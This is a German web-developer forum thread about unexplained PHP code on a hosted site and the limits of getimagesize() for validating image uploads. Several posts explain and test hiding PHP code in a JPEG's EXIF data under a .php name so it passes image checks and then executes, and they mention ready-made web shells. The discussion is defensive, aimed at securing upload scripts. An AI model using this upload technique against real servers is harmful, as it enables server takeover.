                                http://www.php.net/manual/en/reserved.variables.files.php
                                http://www.php.net/manual/en/features.file-upload.post-method.php

                                Getimagesize() benötigt eine Datei zum Testen
                                http://de.php.net/manual/en/function.getimagesize.php

                                und arbeitet mit sogenannten Magic Numbers, also mit Bytesequenzen, die in den unterschiedlichen Dateitypen an bestimmten Stellen stehen müssen. Es ist sehr unwahrscheinlich, dass da eine PHP-Datei durchrutschen könnte.

                                Dafür müsste uns Martin erst einmal ein Beispiel liefern.

                                Liebe Grüße aus dem schönen Oberharz

                                Tom vom Berg

                                --
                                 ☻_
                                /▌
                                / \ Nur selber lernen macht schlau
                                http://bergpost.annerschbarrich.de
                                1. Hello,

                                  *ups* wo ist das 'nicht' geblieben?

                                  Das kann ich nachvollziehen.

                                  Das kann ich _nicht_ nachvollziehen.

                                  Liebe Grüße aus dem schönen Oberharz

                                  Tom vom Berg

                                  --
                                   ☻_
                                  /▌
                                  / \ Nur selber lernen macht schlau
                                  http://bergpost.annerschbarrich.de
                                2. Hallo Tom,

                                  Der Martin hat in diesen Artikel aber geschrieben dass dieser Test fälschlicherweise doch funktionieren kann.
                                  Das kann ich nachvollziehen.

                                  ich ergänze in Gedanken dein fehlendes "nicht".

                                  Der HTTP-Header, also auch der mitgelieferte MIME-Type, werden nicht in der Datei gespeichert

                                  Das spielt auch gar keine Rolle.

                                  Dafür müsste uns Martin erst einmal ein Beispiel liefern.

                                  Gut, dann mach mal folgendes:

                                  * Nimm eine beliebige JPEG-Grafik
                                  * Erzeuge mit einem Programm deiner Wahl darin einen EXIF-Eintrag mit folgendem Inhalt:
                                    <?php header("Content-Type: image/jpeg"); fopen("0","w"); ?>
                                  * Ändere den Dateinamen so, dass er auf *.php endet

                                  Nun hast du ein potentiell gefährliches Werkzeug: Diese Datei geht, solange die Extension nicht berücksichtigt wird, bei sämtlichen Checks als gültige JPEG-Datei durch. Aber wenn sie von einem Webserver ausgeliefert wird, der diese Datei aufgrund der Extension .php durch den PHP-Parser jagt, wird der EXIF-Eintrag plötzlich als PHP-Code ausgeführt.
                                  Ergebnis:
                                  a) Die Ressource wird mit dem Content-Type image/jpeg ausgeliefert, ein typischer Browser merkt also nichts Verdächtiges.
                                  b) Bei jedem Zugriff auf diese Ressource wird eine leere Datei mit dem Namen "0" erzeugt. Das dient zur zu Demonstration. Anstatt dieser einfachen fopen-Anweisung könnte auch ein komplexer PHP-Code stehen!

                                  So long,
                                   Martin

                                  --
                                  Du kannst dem Leben nicht mehr Tage geben.
                                  Aber dem Tag mehr Leben.
                                  1. Hi!

                                    * Erzeuge mit einem Programm deiner Wahl darin einen EXIF-Eintrag mit folgendem Inhalt:
                                      <?php header("Content-Type: image/jpeg"); fopen("0","w"); ?>
                                    a) Die Ressource wird mit dem Content-Type image/jpeg ausgeliefert, ein typischer Browser merkt also nichts Verdächtiges.

                                    Sicher? Kommt da nicht das berüchtigte Cannot modify header information - headers already sent wegen anderer Daten von vor dem Exif-Bereich?

                                    Und selbst wenn, auf den korrekten Header sei verzichtet. Hauptsache es führt den PHP-Code aus und installiert die Backdoor auf dem Server. Der Angreifer wird nicht warten, bis zufällig jemand vorbeikommt und die Bildressource abfragt. Er wird das selbst tun und dann gleich mit der Backdoor das verdächtige Bild löschen.

                                    Lo!

                                    1. Hallo,

                                      * Erzeuge mit einem Programm deiner Wahl darin einen EXIF-Eintrag mit folgendem Inhalt:
                                        <?php header("Content-Type: image/jpeg"); fopen("0","w"); ?>
                                      a) Die Ressource wird mit dem Content-Type image/jpeg ausgeliefert, ein typischer Browser merkt also nichts Verdächtiges.
                                      Sicher? Kommt da nicht das berüchtigte Cannot modify header information - headers already sent wegen anderer Daten von vor dem Exif-Bereich?

                                      stimmt, ich hatte bei meinen Vorab-Tests auf den richtigen Content-Type verzichtet.
                                      Lässt man den Aufruf der header-Funktion weg, dann täuscht man aber zumindest IEs, die ja bekanntlich auf den Content-Type-Header sch**** und stattdessen die Ressource lieber so interpretieren, wie es der Kontext erfordert. Ein IE würde also auch mit falschen Header ein Bild anzeigen, wenn er ein Bild erwartet; andere Browser ihr "Broken Image"-Symbol.

                                      Und selbst wenn, auf den korrekten Header sei verzichtet. Hauptsache es führt den PHP-Code aus und installiert die Backdoor auf dem Server. Der Angreifer wird nicht warten, bis zufällig jemand vorbeikommt und die Bildressource abfragt. Er wird das selbst tun und dann gleich mit der Backdoor das verdächtige Bild löschen.

                                      Eben. Was stört es mich Bösewicht, wenn das Bild, das sowieso nur Träger der meiner Waffe ist, nicht korrekt angezeit wird!

                                      So long,
                                       Martin

                                      --
                                      Paradox ist, wenn der Innenminister sich äußert und der Außenminister sich erinnert.
                                      1. Hello,

                                        [...]

                                        * Erzeuge mit einem Programm deiner Wahl darin einen EXIF-Eintrag mit folgendem Inhalt:
                                          <?php header("Content-Type: image/jpeg"); fopen("0","w"); ?>

                                        [...]

                                        Das liest sich spannend. Hast Du es auch ausprobiert?

                                        Was sagt der PHP-Parser dazu, wenn er im vermeintlichen Nicht-PHP-Teil nicht druckbare Zeichen, insbesondere < 32d oder > 127d vorgesetzt bekommt? Interessiert ihn das überhaupt, solange nicht seine Start- oder Stoppsequenz darin enthalten ist? Vermutlich hast Du Recht.

                                        Das ist dann ja *ibäh*

                                        Liebe Grüße aus dem schönen Oberharz

                                        Tom vom Berg

                                        --
                                         ☻_
                                        /▌
                                        / \ Nur selber lernen macht schlau
                                        http://bergpost.annerschbarrich.de
                                        1. Hi,

                                          * Erzeuge mit einem Programm deiner Wahl darin einen EXIF-Eintrag mit folgendem Inhalt:
                                            <?php header("Content-Type: image/jpeg"); fopen("0","w"); ?>
                                          Das liest sich spannend. Hast Du es auch ausprobiert?

                                          ja, allerdings mit Einschränkung: Ich hatte kein Programm zur Hand, das EXIF-Daten bearbeiten kann, musste also mit einem vorhandenen EXIF-Eintrag in einer JPEG-Grafik vorlieb nehmen, den ich einfach mit einem Hex-Editor modifiziert habe. Der war aber nicht lang genug (der EXIF-Eintrag, nicht der Hex-Editor *g*), so dass nur für
                                           <?php fopen("demo","w"); ?>
                                          genug Platz war. Damit wurde das Bild natürlich mit dem fehlerhaften Content-Type "text/html" ausgeliefert, das war meinem IE aber egal. Er erwartete ein Bild, also hat er die ankommenden Daten als Bild interpretiert.

                                          Was sagt der PHP-Parser dazu, wenn er im vermeintlichen Nicht-PHP-Teil nicht druckbare Zeichen, insbesondere < 32d oder > 127d vorgesetzt bekommt?

                                          Nichts, warum sollte er? Er reicht sie genauso durch, wie er jedes auch andere Nutzzeichen außerhalb eines PHP-Blocks einfach durchreicht.

                                          Interessiert ihn das überhaupt, solange nicht seine Start- oder Stoppsequenz darin enthalten ist?

                                          Nicht die Bohne.

                                          Vermutlich hast Du Recht.
                                          Das ist dann ja *ibäh*

                                          Allerdings. Das ist mir aber auch erst seit relativ kurzer Zeit so klar. Daraus habe ich schon die Konsequenz gezogen, dass bei einem Bildupload die von mir bisher so gelobte Plausibilitätsprüfung mit getimagesize() nicht ausreichend ist; ich muss zusätzlich noch sicherstellen, dass in dem Verzeichnis, wo die Bilder letztendlich liegen, kein PHP oder etwas Vergleichbares ausgeführt wird. Das Beschränken der erlaubten Datei-Extensions auf typische Werte wie "jpeg", "jpg", "gif" oder "png" wäre eine Möglichkeit, aber nicht immer die günstigste.

                                          Ciao,
                                           Martin

                                          --
                                          Mir geht es gut. Ich mag die kleinen Pillen, die sie mir dauernd geben.
                                          Aber warum bin ich ans Bett gefesselt?
                                          1. Hello,

                                            Das liest sich spannend. Hast Du es auch ausprobiert?

                                            ja, allerdings mit Einschränkung: Ich hatte kein Programm zur Hand, das EXIF-Daten bearbeiten kann, musste also mit einem vorhandenen EXIF-Eintrag in einer JPEG-Grafik vorlieb nehmen, den ich einfach mit einem Hex-Editor modifiziert habe.

                                            Ich schaue mir gerade
                                            http://www.exifer.friedemann.info/#Download
                                            an. Mal sehen, welche gemeinen Sachen damit dann anstellen kann bezüglich unserer Thematik.

                                            Sonnige Grüße aus dem ergrünenden Oberharz

                                            Tom vom Berg

                                            --
                                             ☻_
                                            /▌
                                            / \ Nur selber lernen macht schlau
                                            http://bergpost.annerschbarrich.de
                                            1. Hello,

                                              witzig, witzig.

                                              Habe das mal eben schnell mit dem XAMPP testen wollen und in meinem Xampp-Testserver ein Verzeichnis "security" angelegt. Der Bursche listet das nicht und wenn man direkt darauf zugreifen will, haut er einem mit einem 403 auf die Finger...

                                              Umbenannt klappte es dann, darauf zuzugreifen. Das ist aber schon wieder eine neue Baustelle :-))

                                              Als Folge des Aufrufes des modifizierten JPGs erhalte ich dann:

                                              #------

                                              Warning: Unexpected character in input: 'X' (ASCII=18) state=1 in C:\Programme\xampp\htdocs\test\s_security\image-gap\EXIF-modified.php on line 38

                                              Parse error: parse error in C:\Programme\xampp\htdocs\test\s_security\image-gap\EXIF-modified.php on line 38

                                              #------

                                              Das betroffene Zeichen geht hier auch nicht durch und wurde von mir daher mit X ersetzt.

                                              Der Parser weigert sich also, das Bild als PHP-Datei vollständig zu verarbeiten. Das ist dann aber wohl eher Zufall.

                                              Nun bleibt also die Frage, ob es möglich ist, JPGs derartig zu modifizieren, dass sie gültigen PHP-Code enthalten, trotzdem nach außen ein gültiges JPG bleiben und keine Zeichen enthalten, über die der Parser stolpert.

                                              Liebe Grüße aus dem schönen Oberharz

                                              Tom vom Berg

                                              --
                                               ☻_
                                              /▌
                                              / \ Nur selber lernen macht schlau
                                              http://bergpost.annerschbarrich.de
                                              1. Hello,

                                                Wird das wieder zum "Self-Join" hier? Schade eigentlich.

                                                Die Aufgabe ist klar: Ein JPG bauen, dass PHP(-Schad)-Code enthält und vom Parser als PHP-File durchgewinkt wird...

                                                Das betroffene Zeichen geht hier auch nicht durch und wurde von mir daher mit X ersetzt.

                                                Der Parser weigert sich also, das Bild als PHP-Datei vollständig zu verarbeiten. Das ist dann aber wohl eher Zufall.

                                                Nun bleibt also die Frage, ob es möglich ist, JPGs derartig zu modifizieren, dass sie gültigen PHP-Code enthalten, trotzdem nach außen ein gültiges JPG bleiben und keine Zeichen enthalten, über die der Parser stolpert.

                                                $_img = Ggtimagesize()$bilddatei, $_imginfo)

                                                winkt die infizierten JPGs jedenfalls einwandfrei durch:

                                                Bild 1:

                                                $_img

                                                Array
                                                (
                                                    [0] => 200
                                                    [1] => 200
                                                    [2] => 2
                                                    [3] => width="200" height="200"
                                                    [bits] => 8
                                                    [channels] => 3
                                                    [mime] => image/jpeg
                                                )

                                                $_imginfo

                                                Array
                                                (
                                                    [APP0] => JFIFXXXXXXXXXXX
                                                )

                                                Bild 2:

                                                $_img

                                                Array
                                                (
                                                    [0] => 200
                                                    [1] => 136
                                                    [2] => 2
                                                    [3] => width="200" height="136"
                                                    [bits] => 8
                                                    [channels] => 3
                                                    [mime] => image/jpeg
                                                )

                                                $_imginfo

                                                Array
                                                (
                                                    [APP0] => JFIFXXXXXXXXXXX
                                                )

                                                Bild 1 ist manipuliert
                                                Bild 2 ist nicht manipuliert.

                                                X = Zeichen außerhalb des erlaubten Bereiches

                                                Liebe Grüße aus dem schönen Oberharz

                                                Tom vom Berg

                                                --
                                                 ☻_
                                                /▌
                                                / \ Nur selber lernen macht schlau
                                                http://bergpost.annerschbarrich.de
                                                1. Hallo Tom,

                                                  Wird das wieder zum "Self-Join" hier? Schade eigentlich.

                                                  nein, keine Sorge.

                                                  Die Aufgabe ist klar: Ein JPG bauen, dass PHP(-Schad)-Code enthält und vom Parser als PHP-File durchgewinkt wird...

                                                  Hab ich. Wie schon vorher beschrieben: Zum Ausprobieren nur mal eben den EXIF-Eintrag "Software/Firmware" im Abschnitt "Kamera" per Hex-Editor mit einem harmlosen fopen-Aufruf überschrieben.

                                                  Mein Testserver (Apache 2.0 mit PHP 5.0 unter Windows) liefert das ohne mit der Wimper zu zucken als "text/html" mit Status 200 aus und führt den PHP-Code aus. Wegen des falschen Content-Type zeigen IE und FF (andere nicht getestet) das Bild normalerweise nicht an. Normalerweise heißt: Drückt man ein paarmal auf F5, lassen sich beide Browser irgendwann überrumpeln und zeigen das Bild trotz falschem Content-Type an. Herkömmliche Bildbearbeitungssoftware hat sowieso kein Problem damit, denn die kennt keine MIME-Types.

                                                  Plaziere ich dieselbe Datei auf meinen Webspace beim Hoster (Apache 2.0 mit PHP 5.2 unter Linux) und rufe die Ressource von dort ab, bekomme ich einen Status 500. Ich habe noch nicht herausgefunden, warum. Eine herkömmliche PHP-Datei, die nur die im JPEG eingepflanzte Anweisung und ein paar sinnlose Zeichen drumherum enthält, wird fehlerfrei ausgeführt.

                                                  $_img = Ggtimagesize()$bilddatei, $_imginfo)
                                                  winkt die infizierten JPGs jedenfalls einwandfrei durch:

                                                  Sicher. Es ist ja auch nicht verboten, dass EXIF-Einträge die Zeichenfolge <?php ... ?> enthalten, und der Zugriff erfolgt schließlich mit gewöhnlichen Dateioperationen.

                                                  Ciao,
                                                   Martin

                                                  --
                                                  Ich stehe eigentlich gern früh auf.
                                                  Außer morgens.
                                                  1. Hello,

                                                    Die Aufgabe ist klar: Ein JPG bauen, dass PHP(-Schad)-Code enthält und vom Parser als PHP-File durchgewinkt wird...

                                                    Welche Zeichen/Bytewerte darf der PHP-Code _außerhalb_ des <?php ... ?>- Bereiches enthalten, damit der Parser nicht meckert?

                                                    Kennt Ihr Tools, mit deren Hilfe JPGs derartig manipuliert werden können? Vermutlich sollte man die Namen hier gar nicht nennen :-O

                                                    Welche Zeichen/Bytewerte darf der PHP-Bereich enthalten außerhalb von Stringbegrenzern? Aber das ist hier wohl eher nebensächlich.

                                                    Liebe Grüße aus dem schönen Oberharz

                                                    Tom vom Berg

                                                    --
                                                     ☻_
                                                    /▌
                                                    / \ Nur selber lernen macht schlau
                                                    http://bergpost.annerschbarrich.de
          3. Kontrolliere trotzdem ALLE deine Scripte auf mögliche Schwachstellen.
            Wie kann mit PHP eine Datei geändert werden?

            Sehr "einfach", es muss für den Angreifer nur irgendwie möglich sein, ein Stück ausführbaren Code einzuschleusen. Damit kann er mit ein paar Zeilen weiteren Code abholen.

            Dafür gibts sogar fertige Shell-Scripte, das bekannteste dürfte hierbei das c99 bzw c100-Shell sein.

        2. Hello,

          den Ausdruck "normalerweise" solltest du in diesem Zusammenhang vergessen. Wenn IRGENDEINS deiner Scripte eine Lücke hat, durch die ein Angreifer Fremdcode einschleusen kann, ist alles, was "normal" ist, nicht mehr von Bedeutung.

          Auf einem Shared Host muss die Lücke keinesfalls in tomgks eigenen Scripten stecken. Sie kann in allen Accounts versteckt sein. Irgendjemand wird sicher eine nicht abgesicherte Uploadmöglichkeit für Dateien (Bilder) in seinen Seiten haben.

          Liebe Grüße aus dem schönen Oberharz

          Tom vom Berg

          --
           ☻_
          /▌
          / \ Nur selber lernen macht schlau
          http://bergpost.annerschbarrich.de
          1. Hallo Tom,

            Auf einem Shared Host muss die Lücke keinesfalls in tomgks eigenen Scripten stecken. Sie kann in allen Accounts versteckt sein.

            die Möglichkeit erwähnte ich ja auch ausdrücklich. Ist dir das nicht aufgefallen?

            Ciao,
             Martin

            --
            Wenn du beim Kochen etwas heißes Wasser übrig hast, friere es ein.
            Heißes Wasser kann man immer gebrauchen.
            1. die Möglichkeit erwähnte ich ja auch ausdrücklich. Ist dir das nicht aufgefallen?

              Sehe ich das richtig, ihr empfehlt erstmal andere zu verdächtigen, statt in den eigenen Skripten zu schauen?

              Struppi.

              1. Hello,

                aaach Struppi, :-P

                die Möglichkeit erwähnte ich ja auch ausdrücklich. Ist dir das nicht aufgefallen?

                Sehe ich das richtig, ihr empfehlt erstmal andere zu verdächtigen, statt in den eigenen Skripten zu schauen?

                Selbstverständlich! Immer nur die Anderen sind Schuld. Das weißt Du doch :-))

                Die Lücke kann, wenn sie denn überhaupt in (PHP-)Scripten auf dem Server steckt, überall auf dem Server liegen, sowohl im eigenen Account als auch in fremden. Die Manipulationsmöglichkeiten hängen eben sehr stark von der Sauberkeit der Einrichtung ab.

                Und meistens sind (Bild-)Upload-Scripte dafür verantwortlich. Manchmal sind es auch schlechte Mailerscripte, die Anhänge ermöglichen. Das habe ich aber erst zweimal gehabt.

                Über die mangelhaften (Bild-)Uploadscripte habe ich hier schließlich schon oft genug etwas geschrieben.

                Liebe Grüße aus dem schönen Oberharz

                Tom vom Berg

                --
                 ☻_
                /▌
                / \ Nur selber lernen macht schlau
                http://bergpost.annerschbarrich.de
                1. Moin!

                  die Möglichkeit erwähnte ich ja auch ausdrücklich. Ist dir das nicht aufgefallen?

                  Sehe ich das richtig, ihr empfehlt erstmal andere zu verdächtigen, statt in den eigenen Skripten zu schauen?

                  Selbstverständlich! Immer nur die Anderen sind Schuld. Das weißt Du doch :-))

                  Die Lücke kann, wenn sie denn überhaupt in (PHP-)Scripten auf dem Server steckt, überall auf dem Server liegen, sowohl im eigenen Account als auch in fremden. Die Manipulationsmöglichkeiten hängen eben sehr stark von der Sauberkeit der Einrichtung ab.

                  Hältst du es nicht für eher unwahrscheinlich, dass es heutzutage noch Hoster gibt, die ihren Shared-Host-Kunden mit PHP erlauben, den anderen Kunden ihren Webspace zu zerstören? Muss ja keine PHP-Sicherheitslücke in irgendeinem Skript sein, dass von Dritten gefunden wird, es reicht ja schon, einen einzigen bösen echten Kunden zu haben.

                  Solch ein Risiko kann sich kein Dienstleister leisten - und es gibt eigentlich auch ausreichend Schutzmechanismen, die sowas hinreichend gut ausschließen.

                  Von allen denkbaren Möglichkeiten sollte man als allererstes die naheliegendste ausschließen. Und das ist schlicht und ergreifend eine Sicherheitslücke oder ein Hack im eigenen Webspace.

                  Erst wenn das alles gecheckt und verifiziert für gut befunden wurde, kann man sich Gedanken machen, woher der Angriff dann noch kommen konnte.

                  - Sven Rautenberg

                  1. Hello,

                    Die Lücke kann, wenn sie denn überhaupt in (PHP-)Scripten auf dem Server steckt, überall auf dem Server liegen, sowohl im eigenen Account als auch in fremden. Die Manipulationsmöglichkeiten hängen eben sehr stark von der Sauberkeit der Einrichtung ab.

                    Hältst du es nicht für eher unwahrscheinlich, dass es heutzutage noch Hoster gibt, die ihren Shared-Host-Kunden mit PHP erlauben, den anderen Kunden ihren Webspace zu zerstören?

                    Das war jetzt eine rhetorische Frage oder sogar Ironie?

                    Leider gibt es das noch sehr oft, dass Server geteilt werden und die Einrichtung von PHP nicht sauber durchgeführt wird.

                    Suchen kann man als normaler Kunde doch sowieso zuerst nur im eigenen Bereich. Und da sollte man als erstes mal die Einstellungen per phpinfo() prüfen und dann sämtliche Upload-Scripte checken.

                    Liebe Grüße aus dem schönen Oberharz

                    Tom vom Berg

                    --
                     ☻_
                    /▌
                    / \ Nur selber lernen macht schlau
                    http://bergpost.annerschbarrich.de
                    1. Hi!

                      Hältst du es nicht für eher unwahrscheinlich, dass es heutzutage noch Hoster gibt, die ihren Shared-Host-Kunden mit PHP erlauben, den anderen Kunden ihren Webspace zu zerstören?

                      Nein, Inkompetenz oder mangelnde Sorgfalt sind keine Eigenschaften, vor denen Hoster gefeit sind.

                      Suchen kann man als normaler Kunde doch sowieso zuerst nur im eigenen Bereich. Und da sollte man als erstes mal die Einstellungen per phpinfo() prüfen und dann sämtliche Upload-Scripte checken.

                      Naja, jemandem, der sich über die Herkunft von Fremdcode wundert, unterstelle ich einfach mal, dass er in Punkto Sicherheit noch nicht so viele Erfahrungen und Wissen gesammelt hat. Und ich bezweifle auch, dass er recht zeitnah die Lücken füllen kann, die ihn zum Säubern des Servers befähigen. Das soll jetzt kein Herabwürdigen sein, sondern es ist nur meine pessimistische Einschätzung der Lage, und ich wäre sehr erfreut, wenn ich mich mit dieser Vermutung getäuscht hätte. Das was ich an Konstruktivem zur Lage beitragen kann, wäre lediglich mein Kontextwechsel-Artikel, der zumindest über das Vermeiden eines der häufigsten sicherheitskritischen Programmierfehler aufklären kann. Für eine genauere Analyse der Lage braucht es letztlich direkten Zugriff, wie ihn nur ein Administrator haben kann.

                      Lo!

                      1. Hello,

                        Naja, jemandem, der sich über die Herkunft von Fremdcode wundert, unterstelle ich einfach mal, dass er in Punkto Sicherheit noch nicht so viele Erfahrungen und Wissen gesammelt hat. Und ich bezweifle auch, dass er recht zeitnah die Lücken füllen kann, die ihn zum Säubern des Servers befähigen. Das soll jetzt kein Herabwürdigen sein, sondern es ist nur meine pessimistische Einschätzung der Lage, und ich wäre sehr erfreut, wenn ich mich mit dieser Vermutung getäuscht hätte.

                        Ich befürchte dann, eher nicht.

                        Und viele der Lücken kommen mit sogenannten Fertigscripten, Frameworks, CMS, oder wie die Dinger auch imemr heißen auf den Webserver. Selbst Typo3, was bestimmt nicht neu ist und nicht ohne Manpower dasteht, hat solche Lücken (gehabt). Ich hatte eine der Lücken damals gerade identifiziert, als kurze Zeit später Herrn Schäubles Webpage angegriffen wurde... Da waren also Andere schneller, als ich. Denn die hatten schon ein Angriffs-Szenario, als ich gerade noch die Auswirkungen der Lücke dokumentiert habe (und dafür von den Typo3-Leuten erstmal ausgelacht wurde).

                        Leider steigt man durch komplexere CMS (Frameworks) nicht mehr durch, da die notwendigen Funktionsbeschreibungen und Logik-Diagramme mesitens fehlen und man ja nicht Allman-Style (der bedeutet für mich bei fehlender ausführlicher Doku immer noch maximale Lesbarkeit), sondern irgendwelche komnprimierten kryptischen Kotzstile benutzt. Man will ja schließlich zeigen, wie toll man ist und mit wie wenig Platz man auskommt...

                        Ich habe im letzten Jahr drei Beratungskunden gehabt, die leider alle abgestürzt sind, bevor ich überhaupt was richten durfte (ich kann also mein Honorar jetzt beim Insolvenzverwalter geltend machen), weil ihr CMS, auf das ihre gute Geschäftsidee aufbaute, im entscheidenden Moment abgestürzt ist. Leider hatten sie es nicht einmal für nötig befunden, vernünftioge Provider zu wählen (bei denen ich hätte gucken dürfen) und/oder rechtzeitig die Logs aussagefähig zu machen und zu sichern.

                        Liebe Grüße aus dem schönen Oberharz

                        Tom vom Berg

                        --
                         ☻_
                        /▌
                        / \ Nur selber lernen macht schlau
                        http://bergpost.annerschbarrich.de
              2. Hallo,

                die Möglichkeit erwähnte ich ja auch ausdrücklich. Ist dir das nicht aufgefallen?
                Sehe ich das richtig, ihr empfehlt erstmal andere zu verdächtigen, statt in den eigenen Skripten zu schauen?

                nein, im Gegenteil: Ich habe dringend empfohlen, alle eigenen Scripte kritisch zu überprüfen, der Vollständigkeit halber aber erwähnt, dass die Lücke auch bei jemand anderem liegen könnte.

                Ciao,
                 Martin

                --
                Eine Neandertaler-Sippe sitzt in ihrer kalten Höhle. Seufzt der Stammesälteste: "Hoffentlich erfindet bald jemand das Feuer!"
                1. nein, im Gegenteil: Ich habe dringend empfohlen, alle eigenen Scripte kritisch zu überprüfen, der Vollständigkeit halber aber erwähnt, dass die Lücke auch bei jemand anderem liegen könnte.

                  Ach so. Ich war wohl zu sehr mit dem Nebenschauplatz beschäftigt. Wobei die Vermutung des gehackten FTP Accounts wohl am ehesten zutrifft.

                  Struppi.

  2. Hi!

    Weiß jemand ungefähr was dieses Script tun könnte oder was das Kommentar bedeutet?

    Sicherlich nichts was in deinem Interesse wäre. Lösch es und finde die Sicherheitslücke, durch die es auf das System gelang. Wenn du das nicht kannst, wende dich an den Serveradministrator.

    Lo!

  3. 'ǝɯɐu$ ıɥ

    Weiß jemand ungefähr was dieses Script tun könnte oder was das Kommentar bedeutet?

    scheint so etwas zu sein...

    ssnɹƃ
    ʍopɐɥs

    --
    Answers: $1, Short: $5, Correct: $25, dumb looks are still free ...